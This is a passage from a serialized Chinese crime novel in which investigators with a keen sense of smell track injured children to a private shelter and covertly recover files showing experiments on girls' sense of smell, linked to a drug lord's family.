流浪汉居无定所,平时也会乱走,两人约定好,如果找到张淼女儿的线索,一定要联系她。 张淼是按计划行动的,她把路线图给流浪汉看过,他知道,再过不久,张淼会到林口。 所以他看到宁红英后,脑子里只有张淼,他只会方言,担心宁红英听不懂,就一直念叨着“林口”。 酒还没喝,张淼趴在桌子上痛哭。 这些年没有家人支持她,她打电话给家里时,爸妈都要她赶紧回去。 没人理解她为什么不开始新的生活,反而执着于找孩子。 每个人都爱孩子,但做到张淼这个地步的,少之又少。 张淼不知道自己是高兴还是难过,她想哭又想笑,不断地用手绢擦眼睛,过一会儿又笑出声。 两个多小时后,张淼的心情才慢慢平复。 宁红英红着眼眶看着张淼,即便她不是她的生母,能认识张淼,她也知足了。 如果有一个人一直坚持不懈地找她,她也会很开心。 桑白玉提议道:“现在可以做DNA检测,查你们是否有血缘关系。” 张淼笑着拉起宁红英的手,“能见到你一面,我就很开心了,我们……真的很像。” 第57章 张淼随宁红英回到长峡市。 两人都没再提鉴定一事。 或许一个想知道自己从何而来,另一个也不想再希望落空。 桑白玉和方小满偷偷把头发送去做鉴定,鉴定结果要过几天才能出。 桑白玉忙完宁红英的事,第一时间去看望被救出来的女孩,她侥幸捡回一条命,昏迷了两日,刚刚清醒。 宁红英想多陪张淼几天,没和她们一起去。 女孩还在住院,是被秘密转移过来的,由长峡方面出面保护,看着应该是军方的人。 惠海铭从龙星岗赶来,正守着女孩。 女孩只有八岁,全身多处骨折,腹部被刺伤。 她显然还没彻底清醒,迷茫地看着周围的人,惠海铭拉着她的手说道:“乖,我们都会帮你,是谁伤害了你,告诉我们好吗?” 女孩面色茫然。 桑白玉轻轻嗅着女孩的气息。 惠海铭安抚似的摸了摸她的头发,方小满找来医生,给女孩做检查。 惠海铭把桑白玉带出病房,“有线索吗?” 桑白玉说:“她身上也有女孩的气息。” “哪个女孩?” 桑白玉道:“曾经和提拉的有接触,也碰过何利的档案,还出现在流浪汉遇害现场附近。” 惠海铭知道女孩的身份不一般,但究竟如何特殊,她还想不明白。 她私下调查池家多年,从没见池家哪个产业是年轻女孩在打理。 但如果祝江也在其中,就一定是池家人所为…… 难道池明远私底下还在做更可怕的事情? 桑白玉问:“池明远的生意涉及长峡吗?” 女孩的活动范围明显在长峡市。 “大部分都在龙星岗,”惠海铭说,“宁蓝政府不管,我们也没办法,所以我原本已经打算和池明远同归于尽。何利遇害之前,他才开始尝试往长峡市运送违禁品。” 女孩可不在违禁品范围内。 坑里捞上来的三个女孩,只有一人存活。 医生检查过后,宣布女孩暂时脱离生命危险,但还需要长时间休养。 他低声对惠海铭说道:“孩子曾被毒打过,身体上伤痕累累。” 惠海铭心一沉,问:“家暴?” “不是长期的,”医生说,“是最近的伤,凶手毒打过她,将她‘杀害’后,丢进坑里,而且她身体虚弱还有其他原因,暂时没能查到。” 女孩精神尚可,可以进行正常交谈,仍然有自理能力。 她记忆力没有受损,知道自己叫夏夏,还记得她的住处。 惠海铭又问了几遍是谁伤她,夏夏都茫然地摇头。 惠海铭问:“伤害你的是女性吗?年纪不大的女 性?” 夏夏依旧茫然。 桑白玉换了一种问法,“和你亲近的人里,有年轻女人吗?” 夏夏露出笑容。 她脸上也有伤,眼角淤青,嘴角撕裂,缝了两针。一笑便牵动伤口,眼泪不受控住地流下来。 这个样子,谁见了都会心疼。 桑白玉替她擦干眼泪,温柔道:“如果不舒服就先休息,过两天再和我们谈。” 夏夏的声音很小,“你是说小茗姐姐吗?小茗姐姐和你一样好看,我们特别喜欢她。” 她抓住桑白玉的手,欢喜地看着她。 桑白玉更心疼了,“你说的‘我们’,指的是谁?” 夏夏说:“小春、秋秋、冬冬、露露、冰冰……” 桑白玉看向惠海铭。 这些名字取得都很随意。 桑白玉问:“你们是在哪里认识的?” 夏夏说:“在家里。” “家” “我们住在一个很大的家里,我们都住在一起,小茗姐姐经常来看我们。” 惠海铭迟疑片刻,问:“福利院?” 夏夏摇头,“我认得几个字,院门口的牌子上写的好像是……收容所。” 她不太能理解收容所的含义,只把这里当做家。 看来遇害的两人也都是收容所的孩子。 桑白玉不忍心让夏夏去认尸,她再次询问道:“你还记得回家的路吗?” 夏夏点点头,又摇头。 当年她在昏迷中被带到收容所,从此以后再也没有出去过。 桑白玉又问:“附近有什么特征吗?都是山” 夏夏再次摇头,“是房子。” “什么样的房子?” “普通人住的房子,矮矮的房子,看不清楚。” 方小满问:“有没有高一点的标志性建筑?” 夏夏困惑道:“有一个很尖的,很高的东西,像个铁架子。” 高的、尖的铁架子。 桑白玉道:“信号塔?” 惠海铭说:“我现在就去找信号塔附近的收容所。” 桑白玉问:“可以不惊动其他人吗?” “恐怕不行,”惠海铭无奈道,“救援难度比较大,救这三个孩子时,已经有大批警察赶到现场,救援持续六个小时,山脚下的村民都看到了。他们起码知道我们已经发现尸体。” 池昭已经知道此事,肯定是瞒不住的。 桑白玉笑道:“他们可以知道我们找到尸体,但是夏夏……” 惠海铭思索片刻,说:“从目前的行动来看,转移到医院一事,应该没人知道。” 桑白玉说:“那便当她已经死在坑中,我和你一起去。” “也行,小满留下来照顾夏夏,所有医生护士进来检查都要看着。” 方小满点头。 惠海铭原本以为,找一个收容所而已,应该很容易。 然而她找到所有信号塔,再去找信号塔周围的福利院、收容所,却没有任何一家缺了孩子。 惠海铭接了一个又一个电话,得到的回复都很一致,已经核对过福利院的名单,没有孩子失踪。 “真是怪了,”惠海铭道,“夏夏不会说谎,收容所在哪儿?” 有院子、有牌子,一定是收容所才对。 桑白玉迟疑片刻,问:“一定是政府开办的福利院吗?” 惠海铭一怔。 桑白玉说:“会不会有私人收容所啊?” 九十年代的福利院没那么正规。 有些人花钱找找关系也就办了。 惠海铭拿起车钥匙,“走,去信号塔附近看看。”—— 作者有话说:……写一半发现另一篇被红锁了[化了]写不下去了,先发了 一激动还更新错了…… ………… ……………… 啊啊啊啊!!我明天再把这章改掉,可恶的zjk,夫妻俩不能躺在一张行军床上!谁开车了啊!!! 第58章 长峡市有几个私人性质的收容所。 这些收容所一般只和附近的街道打交道,平时送点儿礼,街道睁一只眼闭一只眼,就随他们去了。 惠海铭也是第一次知道还有这种地方。 她和桑白玉一起开车去找信号塔,到了信号塔下就四处看,寻找夏夏口中的院子。 长峡市共有6个信号塔,查到第三个时,桑白玉刚下车便说道:“是这里。” 这里有夏夏生活过的痕迹。 她抬起头,天空湛蓝,淡淡的白云在随风移动,信号塔耸立在白云下。 周围都是平房,惠海铭向小巷走去。 桑白玉说:“大姐,在这边。” 惠海铭问:“闻到了?” 桑白玉点头。 惠海铭有些无奈地看着桑白玉。 带着桑白玉,就相当于带着导航仪,随时能修正错误的路线。 两人走了大约十分钟,桑白玉把惠海铭拉到树后。 惠海铭配合得没有多话。 她们偷偷向前方看去,看到收容所破旧的招牌,斜靠在树上。 古老的铁栅栏门已经生锈,年轻的女人正带着孩子们玩儿老鹰捉小鸡。 孩子中女孩居多。 桑白玉看了一会儿,拉着惠海铭撤退。 回到车里,惠海铭才问道:“看出什么了?” 在惠海铭眼中,那里只是个普通的收容所,甚至可以说,老师对孩子们还是很不错的。 桑白玉却严肃道:“这里就是他们的老巢,我闻到了小茗的味道,非常浓郁,她经常来这里。” 惠海铭问:“还有其他人吗?” “暂时无法确定,祝江似乎也来过,停留的时间应该很短。” 惠海铭低声道:“我们先走,晚上再来。” 桑白玉提醒道:“这样的收容所不知道有多少,最好能请人帮忙同时调查,以免其他人得到消息跑路。” 惠海铭揉了揉桑白玉的脸,“就你想得周到。” 桑白玉开车回医院。 夏夏情绪稳定,有方小满在,不用担心她的安全问题。 下午池昭给桑白玉打来电话。 “提拉德参与贩卖违禁药品,自身也已上瘾,他试图脱离掌控,擅自离开被灭口。” 桑白玉好心提醒道:“这我已经知道了。” “但他临走前,接触了一个小女孩,试图把她带走,所以被灭口。” 桑白玉脱口而出,“小茗?” 池昭沉默片刻,问:“你怎么知道?” 桑白玉含糊道:“我第六感准,猜的,你别说废话了,赶紧说说小茗。” 小茗,全名池茗,今年16岁。 提拉德与她接触时,她还是个小姑娘。 据说提拉的与她关系不错,想把她一起带走。 桑白玉疑惑道:“池茗?她是你妹妹?” “我在池家多年,从未听说过这号人,池家大大小小的生意我都打理过,我可以确认,池家的手下中绝对没有她。” 桑白玉坏笑起来,“看来你也不太被信任嘛。” 她原本只是打趣,池昭却沉默了。 桑白玉听到池昭沉重的呼吸声,心软了。 她忙说道:“我是开玩笑的。” 池昭说:“这一点你倒是没说错,池明远从未真正信任过我。” 池茗这些人,恐怕和池明远背地里做的生意有关。 只是什么生意会和孩子有关? 总不见得池明远是在拐卖孩子吧?这生意可没有他的其他生意有钱。 池昭沉默片刻,说:“该你了。” 桑白玉不再隐瞒,“事实上,我可能找到这个小茗了。” * 长峡市的夜晚格外安静。 信号塔附近较为荒凉,冷风袭来,更是如此。 惠海铭在收容所附近监视了小半天,一直没看到小茗露面。 他们对小茗的认知只存在于夏夏口中,夏夏说,小茗留着长发,喜欢扎马尾,嗓音较粗,说话时总喜欢挑着眉,其他几个哥哥姐姐都很听她的话。 她是这里的“头儿”。 惠海铭虽然不知道池茗的模样,但凭夏夏的描述,她大体 能想象出来。 一个人的气质很难改变,惠海铭确认,收容所绝对没有出现类似池茗的人物。 方小满和桑白玉换好衣服,再用面罩遮住脸,只露出眼睛,像是要去抢银行。 惠海铭有些担心,“你们两个没问题吗?真的可以?还是我去吧。” 方小满笑嘻嘻道:“大姐你年纪大了,动作没以前灵活,你去了,我们还得搭救你,算了。你还是适合做总指挥,我们的沟通工作就交给你了。” 方小满递给桑白玉一个对讲机。 惠海铭哭笑不得。 桑白玉和方小满走下车,向收容所靠近。 惠海铭看着她们的背影,轻轻叹气,小妹妹也长大了。 如果她们知道她当初收养这么多孩子的原因……大概会恨她吧? 惠海铭趴在方向盘上左右观察。 桑白玉二人前脚刚走,惠海铭便听到发动机的声音,惠海铭警惕地看向车灯亮起的方向,一男一女下了车,女孩扎着高马尾,五官幼态,但神色却是倨傲的。 男人有三十几岁,跟在女孩身后点头哈腰。 惠海铭立刻矮下身子,拿起对讲机说道:“池茗回来了!” 接到消息的二人立刻关闭对讲机。 她们已经走到收容所墙边,桑白玉带着方小满去被丢弃的废弃货架后躲好,果然看到一男一女走来。 池茗在收容所门口停下。 她神色凝重,四处看着,和男人说了几句话。 男人很快紧张起来,从口袋里拿出一把折叠刀,举着刀四处查看。 方小满奇怪道:“他们在找什么?” 桑白玉:“……可能是在找我们。” “开什么玩笑,我们藏得这么好,什么痕迹都没留下,他们怎么可能知道?” 这可是她们的专职工作,她们为此学了很多年,人丢了,手艺都不会丢。 桑白玉却能清楚地看到,池茗二人表情愈发严肃,男人甚至还拿出小灵通,“喂,今天家里来人了吗?没有?一个都没有?” 桑白玉可以肯定,他们的确在找人,而且找的就是她们。 桑白玉迅速复盘她和方小满的行动过程,确认没留下任何痕迹。 没有痕迹,他们是如何知道的? 而且分明是池茗走到门口后,才察觉到有人。 桑白玉用手势示意方小满撤退。 她边撤退边观察池茗二人的反应。 在他们离开的瞬间,池茗似乎有所警觉,竟朝她们的方向走来。 桑白玉大惊,她突然想到惠海铭曾说过的一句话,立刻示意方小满以最快的速度离开。 黑暗中,车灯亮起,几人撤退。 远离收容所后,方小满才心有余悸道:“这是什么情况?她怎么会知道我们在。” 惠海铭若有所思道:“难道池明远真的……” 桑白玉问:“大姐,我记得你以前和我说过,还有和我一样的人。” 惠海铭慢慢点头,“我没见过,只是听说。” 桑白玉道:“还有人在监视他们吗?如果有,让他们撤远,会被发现。” “你认为池茗……” 桑白玉果断道:“我不是认为,我可以肯定,她寻找我的样子,我太熟悉了,就是依靠气味分辨的。” “等等,”方小满道,“我怎么越听越糊涂?你们是说,池茗是闻出来的?她和小玉有一样的本事?!” 惠海铭迅速停下车,先用小灵通打了通电话,接着下车走近商店里打公话。 方小满摇着桑白玉的手臂,“你快告诉我啊,她是不是和你一样?” 桑白玉轻轻点头,“我想是这样的。” “这太让人悲伤了,”方小满比桑白玉还崩溃,“我还以为可以靠我姐妹过上幸福快乐的日子,没想到像你这种奇怪的人居然不止一个?!” 桑白玉:“……” 方小满生无可恋。 为什么就她天生普通!! 哀号过后还得解决实际问题,她们必须尽快去一趟收容所。 但池茗在,她们恐怕进不去。 有任何风吹草动,池茗都能察觉到。 时间拖得久了,万一刚才的行动已经让他们警觉,他们连夜跑路,可能就找不到证据了。 没一会儿,惠海铭回到车上,“华国这边对此事不知情,监视他们的人距离本就很远,池茗应该闻不到,现在收容所还没动静。” 桑白玉放下心来,“我还得再去一趟。” “不行,”惠海铭断然拒绝,“绝对不行,你不知道池明远的手有多长,这件事已经惊动他,不能再冒险。” 桑白玉好奇道:“惊动?” 惠海铭沉默片刻,想到继续隐瞒可能会让她们放松警惕,便说:“夏夏被救起来后,有几个人一直在龙星岗那边的店附近转悠,我抓了其中一个,他是曼德的手下。” 桑白玉和方小满一脸懵,“曼德是谁?” “宁蓝国军方的,和池明远来往密切,两人可以说是狼狈为奸。曼德靠池明远的钱,池明远靠他的势力。” 桑白玉她们这边刚把夏夏几人救起来,龙星岗那边就有所动作,看来此事对池家十分重要。 “蓝移紧急转走了一批证据,龙星岗那边暂时不要回去。” 桑白玉想了想,说:“这些证据都和池明远有关?” 惠海铭冷着脸点头,“全都和他的生意有关,他手里沾了不少人命,贩卖违禁品时,对方不听话便毒打,极有可能致死。” 惠海铭至今还未把证据公之于众,想来这些都是发生在宁蓝国境内的案子。 宁蓝国的警署…… 也就吴元青在认真干活。 桑白玉问:“现在情况不一样了,夏夏是在长峡出事的,那三个孩子也都死在长峡,就和咱们国家有关了。” 惠海铭无奈道:“就算有关,就算有证据,也要池明远到长峡来才能抓他。” 桑白玉说:“我可能有一个池明远的私人号码。” * 池希赖在池昭的房间已有十几分钟。 这是池昭在龙星岗的家,一栋装修颇有欧美风的别墅,池希曾跟随池明远去过欧洲,那边的建筑都这样。 与金碧辉煌的客厅相比,池昭的房间很简陋。 除了两件挂起来的西装外套,一点儿都看不出有人住的痕迹。 池希看着冷冷清清的房间,不敢乱说话,坐得比小学上课时都板正。 其实曾经池明远也努力培养过他,但池希不喜欢做生意,他更喜欢直接找家人要钱花。 不用操心,一心花钱,多爽。 而且池明远的生意里,池希偶然看到过地下赌坊,池希不敢多想,下意识回避这些。 他还有哥哥,池昭能力出众,有他就够了。 可惜池昭与他并不亲近。 池希等了一会儿,池昭才走进来,他刚洗过脸,没戴墨镜。 池希很少看到他没戴墨镜的样子,他们兄弟俩只有两分相似,尤其是眼睛,差别很大。 不怪桑白玉刚看到池昭时都多看了几眼,换作池希,也忍不住多瞄几眼。 池希哀求道:“哥,你就放我走吧,我得去长峡。” 池昭穿上外套,重新戴好墨镜,“去找她?” 池希点头,“我都好几天没去了,姐姐们肯定会担心我。” 池昭道:“你就不怕你爸担心你?” “……那不也是你爸么,”池希嘀咕道,“你干嘛总和他过不去?其实爸很惦记你的,你过生日,他还想着送你生日礼物,他只不过……” 池昭似笑非笑道:“只不过是不敢出门?不知做了多少亏心事,每天都要龟缩在家里,要躲在硬壳里,阳光都见不得?” 池希:“……” 池昭走到池希面前,俯身拿起他的小灵通,“和你联系,还要用单独的号码?” 池希怔住,“你都知道了?哥,爸不是不想把这个号码给你,他说你们有其他联系方式,没必要, 他其实没偏心我,我……” “他是否偏心,和我无关,我不在乎,”池昭轻蔑地笑了一下,把小灵通丢给他,“收拾好东西,跟我走。” “去哪?” 池昭道:“长峡。” 池希跳起来欢呼。 池昭微笑道:“她不喜欢你。” 池希愣住:“啊?” 池昭指向家里的电话,“看,她找你有事,但联系的是我。” 池希:“……,哥!!” * 凌晨三点钟,低调的黑车停在路边。 今夜风很大,乌云聚集,有要下雨的征兆。 桑白玉和方小满拉开车门上车。 池希坐在副驾驶,热情地和桑白玉打招呼,桑白玉点了下头,接着看向池昭。 她伸手取下池昭的墨镜。 池希倒吸一口冷气,她居然敢碰他哥的墨镜?他哥会杀人的,真的会的! 然而池昭只是平静地看向桑白玉。 桑白玉盯着池昭的眼睛看了几秒。 池希低声对方小满道:“快提醒小玉,别招惹我哥,他不喜欢别人动他的墨镜。” 方小满严肃道:“你不懂,这是博弈。” 池希:“?” 方小满振振有词,“你看,他们二人看似是在注视彼此,其实这不是普通的注视,这是一场厮杀,这……” 桑白玉惊讶道:“以前没仔细看过,其实你的眼睛最好看哦。” 方小满:“……是厮杀。” 池希:“是这样厮的?” 方小满:“……” “长话短说,”桑白玉把墨镜丢给池昭,问,“你今天的视力如何?” 池昭说:“正常。” “那太好了,收容所你去吧,池希是人质,你不交换信息我们就撕票。” 池希:“……” 池昭看向他,“你确定?” 桑白玉:“好吧,也不是那么确定,要不人质换成边斌?” 负责开车的边斌:“??” 池昭一口答应,“可以。” 池希:“……哥!!我是不是你亲弟弟?!” 方小满都有些怜爱他了。 池昭道:“我早就和你说过,离龙星岗远一些,离长峡远一些,去找你妈,你不愿意,我也没办法。” 池希委屈道:“可我,我怎么也比边斌强啊!” 池昭面不改色,“我们从小一起长大。” 池希:“……” 桑白玉不太理解这哥俩的关系,她催着池昭下车,“小心池茗,我们不能靠近,她会闻到我们的气味。” 池昭迟疑片刻,弯唇,“所以你找我?” 桑白玉正要说什么,忽然反应过来,“你知道?!” 她是闻不到池昭的味道的。 池昭都知道?? 他果然不是诚心做生意的! 边斌强烈反对,“不行!不能让他单独行动!” 桑白玉问:“为什么?” 边斌脱口而出,“他比我还弱!” 话音落下,车内鸦雀无声。 边斌:“……” 说老板弱,还有活路吗? 池希道:“怎么可能,我哥特别强。” 边斌心一横,直说道:“你哥只是脑子比较强,手底下还有人,打架方面弱爆了,在这个车里,也就比你强点儿。” 边斌说完,心里十分畅快。 一下子得罪两位老板,人生真是美妙啊! 桑白玉看向池昭,拍拍他的肩膀,“没事,我保护你。” 第59章 池昭一般只负责出脑子,不参与行动。 不过他生存的环境毕竟险恶,这些年也曾试图练一练,只可惜眼睛时不时会犯病,没办法长时间训练。 虽然与桑白玉这些训练多年的人没法比,但还是比普通人强一些。 池昭独自一人向收容所走去。 桑白玉的叮嘱和他眼前的场景重合。 他走的每一步,每一个方向,具体到多少角度、多少米,桑白玉都有告诉他。 在没有变数的情况下,他走这条路,可以不惊扰任何人。 池昭戴着的耳机是方小满交给他的,可以单方面听到她们的声音。 车内有热成像仪,是用来观察收容所内部动向的。 这些装备池昭都没有。 池昭想,如果他选择成为她们的敌人,应该会死得很惨。 在桑白玉的指示下,池昭成功潜入收容所。 桑白玉说:“他们没有发现你,不必担心,池茗的情况和我一样,嗅觉好,听力、视觉就会稍微差一些,她不会听到耳机里的声音。” “现在,继续往前走,左手边的八个房间是宿舍,所有孩子们都在里面,已经睡了。右手边的八个房间,前三个房间有人,第一个房间里是池茗,第二个房间是男人,第三个房间是不认识的女人,这应该是大人的宿舍,池茗还没睡,后两个人已经睡了。” 池昭还听到方小满的声音,“这也能判断出来?!” 桑白玉:“池茗的高马尾还没散开。” 方小满:“……” 在外面做事,还是不能太爱美。 池昭从孩子们的宿舍后方往前绕。 桑白玉说:“正对着你的一排房子应该是教室,你找一找他们的办公室,看看有没有线索。” 池昭停下来,看向右侧。 方才说的八个房间,前三个房间是池茗三人睡觉的地方,后五个呢? 桑白玉像是知道他要说什么,惋惜道:“热成像仪不能看穿墙体,我是坐在车上往高处开,透过玻璃窗户观察的,那几个房间,我也不知是做什么的。你最好不要过去,池茗现在就站在窗户边上,她显然还不想睡觉。” 池昭却没有犹豫,转身向那五个房间走去。 方小满惊呼道:“你疯了?” 桑白玉则沉默片刻,说:“我们这种人,对自己的嗅觉绝对自信,如果闻不到气息,的确会放松警惕。” 池昭露出微笑。 他尽量不发出任何声音。 脚步声虽然做不到桑白玉、方小满那般,但若不仔细听,其他人也不会注意到。 池昭靠近距离池茗最远的办公室。 办公室门上挂着锁,门旁边就是窗户,窗帘不是简单地挂着的,而是被钉死的,而且窗帘本身十分厚重,根本看不到屋内的情况。 越怕被看,越可疑。 池昭简单看了眼锁,拿出万能工具铁丝。 他的身体不允许他像桑白玉一样持续练习,但开个锁还是可以的,他小时候,家里的生意做得没这么大,池明远在外面像孙子,他就更是孙子里的孙子,谁都能来欺负他。 等池希出生,家里的情况才慢慢好起来,情况大不相同了。 池明远很喜欢池希,认为他是给池家带来财运的福星。 至于池昭,池明远面对池昭,更像是一位领导,而不是父亲。 池昭开了锁,控制着不发出声音,把锁放进口袋,然后推门走进去。 热成像仪只能透过玻璃窗观察,无法透过墙壁,所以房间里不一定是没人的。 不过池昭的运气还不错。 他进门后,看到房间中间摆着一张大长桌,靠墙的四周也都是桌子,有各种各样的瓶瓶罐罐。 这几个房间居然是通的,墙体被打穿,可以通过一个成年人。 池昭沉默片刻,观察房屋结构。 看起来还真不会倒。 池昭沿着墙壁往前走,先确认左手边其他几个房间是否有人。 好在池茗他们也没那么变态,只有几个没人住的房间是通的。 左手边的房间情况不太对劲,里面摆放着各种各样的仪器。 池昭不知道这些仪器是用来做什么的,但看着很像是医院使用的仪器。 池昭的预感愈发不妙。 他一路往前走,最末间,也就是靠近有人睡觉的房间,这里像是办公室。 有会客用的沙发,还有办公桌。 隔壁房间就有人,池昭直奔办公桌。 办公桌下有保险柜,保险柜的锁比较 难开。 池昭一时没了动静。 桑白玉问:“遇到困难的话可以敲耳机。” 池昭依然没声音。 桑白玉说:“我问,你回答,是敲一下,不是敲两下。遇到人了?” 桑白玉听到两声回应。 “一切顺利?” 一声。 “找到线索了?” 迟疑后的一声。 桑白玉想,既然有迟疑,那就可能是线索,但还没看到。 “取不出来?” 一声。 桑白玉问:“被锁住了?” 一声。 普通的锁难不住池昭。 桑白玉:“保险柜?” 一声。 边斌的眼睛都快瞪了出来。 桑白玉的脑子转得也太快了吧?? 他根本就想不到这么多。 开保险柜需要工具,比如听诊器。 桑白玉有些后悔没给池昭带更多的工具。 保险柜本身又有一定重量,让池昭带走也不现实。 桑白玉正发愁,忽然听到机械齿轮转动的声音。 桑白玉愣住:“你在开锁?” 一声。 方小满蹙起眉,“太张扬了吧,池茗还没睡,把她吵醒就糟了,池昭看起来弱不禁风的,恐怕要挨揍。” 边斌急道:“咱们现在去救他吧!” 只有池希茫然地看着他们。 每个人都很厉害,每个人都有任务,只有他。 池希闷闷不乐道:“你们……” 方小满说:“你现在是人质,不能随便开口。” 桑白玉道:“在池明远来长峡之前,得委屈你了。” 池希:“……” 他委屈道:“你们需要我帮忙,我是心甘情愿帮你们的,为什么要这样说?” 桑白玉微怔,她解释道:“我不是不相信你,我只是更相信父子之间的感情,而且……” 方小满说:“我们担心以你的智商会被套话。” 边斌心惊胆战地看着二人。 她们居然敢这样和他的小老板说话?? 小老板不得被气疯了! 池希开心道:“我就知道你们拿我当朋友!” 边斌:“……” 他们池家都是些什么人哦! 边斌问桑白玉,“真不用去帮忙?保险柜的锁怎么开?” 如果连保险柜的锁都能被打开,他还能相信什么! 方小满感慨道:“你还真是四肢没那么发达,头脑也简单。” 边斌:“……你知道!!” 方小满“嘁”了一声,“老式机械转盘密码锁需要听诊器,转盘内部有制动片,转到特定数字时,制动片落下对准,会发出‘咔哒’声,这个声音很小,必须要用听诊器,找到密码数字,就可以打开保险柜了。” 边斌听后沉默了。 他觉得…… 方小满和桑白玉好像比他更坏啊?? 桑白玉道:“可就算找到密码数字,也没有钥匙。” “还需要钥匙?!” 桑白玉说:“绝大部分保险柜都需要,密码数字只是扫清障碍,转动到正确的数字,才能用钥匙打开。” 话音刚落,桑白玉便听到稍微清脆的一声响。 她挑眉道:“看来他找到钥匙了。” * 男人这一夜睡得都不安稳。 夏夏几人的惨状历历在目,又听说有警察找到他们抛尸的地方挖出尸体,还说尸体被人带走了,是神秘的大人物,他们恐怕已经被华国盯上…… 又被噩梦惊醒,男人坐起来,隐约听到声响。 他站起身,披上外衣,犹豫过后走向池茗的房间。 池茗果然还没睡,她一直是夜猫子。 听到男人的来意,池茗嗤笑道:“你是不是太小心了?” 男人道:“可我真的听到动静。” 池茗指着自己的鼻子说:“我跟你保证,这里只有我们三个人,没有第四个人。” 池茗的本事,男人是知道的,她说不是,男人也只能相信。 他叹气道:“我担心警方迟早会找到我们。” “找到又如何?我们早就跑了,离开的路线早就定好,我们只需要带两个孩子走,剩下的扔下就好。” 男人从口袋里摸出烟来,抱怨道:“真不知道他是怎么想的,非让我们留在长峡,回龙星岗多好,在那边,谁敢管我们?长峡规矩太多。” 池茗白了他一眼,“我们才是正经国家,你们已经被腐蚀了。人家不是说了,华国有收容所没那么奇怪,而且这些孩子都是华国的,你在宁蓝国开一家专收华国孩子的收容所,这不是告诉全世界你别有所图吗?” “这倒是。” 烟味飘到池茗的方向,池茗嫌弃道:“别抽了,臭死了。” 男人打不过池茗,只好把烟掐灭,“我好像真的听到声音了。” 两人安静下来,长峡市的夜静悄悄的,远处是高山的轮廓,被银色月光笼罩。 池茗冷笑道:“我的鼻子,绝对不会出错,我再说一遍,没有人。” * 池昭带回一些资料,都是存放在保险柜里的。 他一上车,边斌就玩命似的把车开走,车速提得极快。 池昭去完成任务,比他自己做任务都紧张。 方小满打开手电,给桑白玉照明。 桑白玉和池昭坐在后排看文件。 池昭瞥了眼池希,“是不是先把他解决掉?” 池希:“……” 亲哥总是不把他当人。 桑白玉道:“他现在不能离开我们了,他知道的事太多,而且我还得靠他办事。” 池昭挑眉,“办事?” 桑白玉也不瞒着,“总得把人叫到长峡。” 池昭问:“你们想对付他?” 桑白玉没有回答,她翻开资料,里面都是体检信息,最详细的是池茗和一个女人的。 体检信息的重点是…… 嗅觉。 桑白玉喃喃道:“难道他们找的孩子,都是嗅觉异常好的?” 像她一样? 池昭没有回答,他脑中浮现方才看到的瓶瓶罐罐,都是做实验的。 不知道他们是如何做的实验…… 池茗的资料是从七岁开始的,她七岁起就跟着他们。 另一个女人的资料不太全,所有内容皆为手写,年代久远,而且没有姓名,只有身高、体重、年龄等等,重点研究的也是嗅觉。 不过部分研究项目有些可怕,比如大脑。 什么情况下能研究一个人的大脑? 两份资料都没有照片。 池昭一直没有看这份资料,他看起来心不在焉的。 桑白玉把资料收好,质问池昭,“你是不是还找到其他线索了?” 池昭:“嗯?” “我们现在可是合作关系,你不能有所隐瞒。” 池昭笑道:“你们救上来的女孩在哪,活的死的,你不也隐瞒了吗?” 桑白玉脱口而出,“我是没告诉你,可你明明知道。等等,你为什么会知道?” 池昭怔住。 他不动声色地移开视线,避免与桑白玉的接触。 桑白玉的目光愈发微妙,“原来你……” 池昭轻咳一声,说:“坦白说,这份资料应该是我母亲的。” 身高、体重、年龄,都对得上。 池希震惊地看过去,“她不是……病故了吗?” 他知道他的母亲不是池明远的原配,也知道他和池昭同父异母。 他还知道池昭的母亲是病故的,大家都是这样说的。 池希对她了解不多,就连孟简都不了解。 池昭说:“她是失踪,不是病故。现在看来,她可能就是在这里失踪的。” 桑白玉迟疑道:“她的嗅觉很不一般,所以……池明远把她带到这里做研究?她已经……遇害了?” 池希靠向车门,呼吸愈发沉重。 周围的一切都让他陌生,人也是。 他好像听不懂他们在说什么,又很懂。 池希很难受,生理上的难受,他喘不过气来。 池昭轻描淡写 ,“应该是这样,看来我的目标要从找人改成找遗骨了。” 车内一时安静。 桑白玉记得,他说过他一直在找母亲。 难怪他回来后心情不好,原来是找到了。 只是这份对大脑的研究,已经给姜玉玲判了死刑。 桑白玉继续往后看。 资料里也包括夏夏的,结论是失败。 还有两个女孩也盖了失败的红章。 看来她们是失败品,在实验过程中死亡,所以被抛尸。 池昭沉默良久才提醒道:“让他们给孩子做详细检查,包括体内是否有毒物。” 方小满问:“什么毒物?” “我在收容所里看到很多化学器材,还有很多药物,他们恐怕是找到有天赋的女孩,试图把她们培养成和桑白玉一样的人,但是目前为止,应该只有池茗一个成功案例。” 夏夏在收容所里,还不知道吃了多少苦头。 更可悲的是,她对收容所的印象很好,很喜欢哥哥姐姐,她根本不知道,害了她的人就是这些哥哥姐姐。 桑白玉疑惑道:“她身上的伤是哪儿来的?” 方小满道:“只能等她好转,再去问问,不过要提防这些人使坏。” 她故意看向池昭。 边斌嘀咕道:“明明是你们更像坏人……” 哪里都敢闯,什么装备都有,还非要以好人自居。 他们坏人有什么?只有一辆车和两条腿! 池昭没再说什么,阖眼休息。 桑白玉若有所思。 池希偷偷看向池昭。 他一直很喜欢哥哥,他的同学都有兄弟姐妹,但谁都没有池昭厉害。 他头脑聪明,办任何事都能办得完美,就算池明远与他没那么亲近,也会一遍又一遍地表扬他。 宁蓝的同学们都很羡慕他。 可惜池昭一直与池希保持距离。 池希原本不理解,就算同父异母,也不至于如此吧?孟简几乎不管池昭,他们相处得挺融洽的。 现在才知道,原来池昭的母亲姜玉玲当年不是病故。 她是失踪了,被绑架了,还被抓过来做研究。 害了池昭母亲的人还很有可能就是…… 池希不懂。 池明远和姜玉玲是夫妻啊,为什么对妻子下毒手? 当年究竟发生了什么? 池希感觉自己的脑子就是一团糨糊。 他低声问道:“哥,你早就知道阿姨是被抓起来了吗?” 池昭沉默良久,才闭着眼睛“嗯”了一声。 “你知道是爸做的?” 池昭没有否认。 池希的心越来越冷,“所以你……一直恨爸吗?” 在他们一家三口团聚的时刻,池昭都在找母亲吗? 看到他们三人开开心心地聚在一起,池昭会连他也恨吧? 方小满回头看向桑白玉。 桑白玉没说话,方小满便也保持安静。 池昭睁眼看向车窗外。 边斌的油门踩得狠,窗外高树迅速后退。 池昭的视线逐渐模糊。 从收容所出来时,他的眼睛就不太好用了,只能靠记忆走。 忽然有人抓住他的手腕。 池昭一惊,看向身旁模糊的轮廓。 桑白玉道:“你受伤了?流血了?在收容所?” 池昭说:“我清理过,不会留下痕迹。” 